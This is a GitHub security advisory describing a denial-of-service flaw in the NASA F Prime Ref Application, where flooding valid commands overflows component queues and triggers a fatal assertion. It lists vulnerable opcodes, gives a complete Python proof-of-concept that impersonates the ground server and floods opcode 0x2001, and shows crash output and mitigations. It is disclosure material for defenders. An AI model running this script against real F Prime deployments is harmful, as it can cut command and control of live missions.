Skip to content

F Prime Ref Application Command Flood Leads to Denial-of-Service

High
LeStarch published GHSA-j6q9-j883-6cfw Mar 11, 2026

Package

No package listed

Affected versions

<=3.6.2

Patched versions

4.1.0

Description

Description:

The NASA F Prime Ref Application is vulnerable to a remotely triggerable denial-of-service condition due to improper handling of command queue overflow. Multiple components, including Health and SigGen, use fixed-size, non-blocking Os::Queue objects to receive incoming commands. When flooded with a series of valid but rapidly issued commands, the internal queue fills up, triggering a fatal FW_ASSERT(qStatus == OP_OK) which causes the application to abort via SIGABRT.
This behavior affects the Ref Application and can be exploited by any unauthenticated entity able to send raw TCP packets to the command interface.

Note: While this behavior is observable in the Ref Application builds, its relevance to production systems depends on whether assertions (FW_ASSERT) are compiled in. If production deployments retain FW_ASSERT, they may be susceptible to similar denial-of-service conditions.

Vulnerable Opcodes (Confirmed):

Component Opcodes Triggering Crash
SigGen 0x2100–0x2103
SigGen 0x2200–0x2203
SigGen 0x2300–0x2303
SigGen 0x2400–0x2403
SigGen 0x2500–0x2503
Health 0x2000–0x2002
SendBuff 0x2600–0x2603

These ranges correspond to commands dispatched to components that crash on queue overflow.

Exploitation Prerequisites:

  • The Ref Application must be running in TCP mode (-a 127.0.0.1 -p 50000)
  • The attacker must be able to connect to the TCP interface (e.g., from localhost or over network)

Impact:

  • Immediate termination of the Ref Application process
  • Loss of command and control capability
  • Potential mission safety impact in a real deployment
  • Could be used to suppress health or telemetry subsystems

Security Considerations:

  • The Ref Application does not implement authentication, encryption, or anti-replay mechanisms
  • Components do not implement rate-limiting or graceful handling of Os::Queue::OP_QUEUE_FULL
  • FW_ASSERT(...) is used without fallback, leading to SIGABRT under queue pressure
  • The Ref Application uses a TCP client model, connecting out to a GDS server, which an attacker can impersonate
  • If FW_ASSERT is enabled in production builds, a remote actor can cause a crash with a valid but malformed command stream

Reproduction:

import socket
import struct
import zlib
import time

HOST = "127.0.0.1"
PORT = 50000  # Port F Prime connects to

# === Packet Generator ===
def generate_fprime_command(opcode: int, args: bytes = b"") -> bytes:
    """
    Create a valid F Prime ETCh command packet.
    Format:
    - Signature: 4 bytes (0xdeadbeef)
    - Length: 4 bytes (length of payload)
    - Payload:
        - Version: 1 byte (0x00)
        - Nulls: 5 bytes (0x00)
        - Opcode: 2 bytes (big endian)
        - Args: optional
    - CRC32: 4 bytes (computed on signature + length + payload)
    """
    signature = struct.pack(">I", 0xDEADBEEF)
    version = b"\x00"
    nulls = b"\x00" * 5
    opcode_bytes = struct.pack(">H", opcode)
    payload = version + nulls + opcode_bytes + args
    length = struct.pack(">I", len(payload))
    crc = struct.pack(">I", zlib.crc32(signature + length + payload) & 0xFFFFFFFF)
    return signature + length + payload + crc

# === Command Sender ===
def send_dos_trigger_commands(conn):
    print("[*] Sending commands to trigger queue overflow...")
    for i in range(15):  # Enough to overflow internal queue
        opcode = 0x2001
        packet = generate_fprime_command(opcode)
        print(f"[*] Sending packet {i + 1} with opcode: 0x{opcode:04x}")
        conn.sendall(packet)
        time.sleep(0.01)  # Short delay to overwhelm the queue

# === TCP Server ===
def start_tcp_server():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
        server_socket.bind((HOST, PORT))
        server_socket.listen(1)
        print(f"[*] TCP server listening on {HOST}:{PORT}...\n")
        conn, addr = server_socket.accept()
        print(f"[+] F Prime connected from {addr}")
        try:
            send_dos_trigger_commands(conn)
        except Exception as e:
            print(f"[!] Error during sending: {e}")
        finally:
            conn.close()
            print("[*] Connection closed.")

if __name__ == "__main__":
    start_tcp_server()

Replace 0x2001 with any opcode from the affected list to confirm behavior.

Observed Output on Crash

When executing the reproduction script against a running Ref Application instance, the following output is observed from the application console:

Connected to 127.0.0.1:50000 as a tcp client
EVENT: (1281) (2:1745317590,192386) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,202556) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,212889) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,223323) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,233523) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,243694) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,253928) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,264056) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,274229) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,284462) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,294783) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
Assert: "/home/mirko/Documents/test_fprime/lib/fprime/Ref/build-release/F-Prime/Svc/Health/HealthComponentAc.cpp:1102" 8
FATAL 16897 handled.
[WARNING] Failed to recv from port with status -8 and errno 104
[WARNING] Failed to open port with status -4 and errno 111
[ERROR] Failed to send framed data: 2
Exiting with abort signal and core dump file.
Aborted (core dumped)

Mitigations:

  • Increase queue depth for critical components
  • Replace FW_ASSERT(qStatus == OP_OK) with a non-fatal error handling path (e.g., log and drop)
  • Implement backpressure or command rate-limiting in the dispatcher

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Reachable Assertion

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary. Learn more on MITRE.

Credits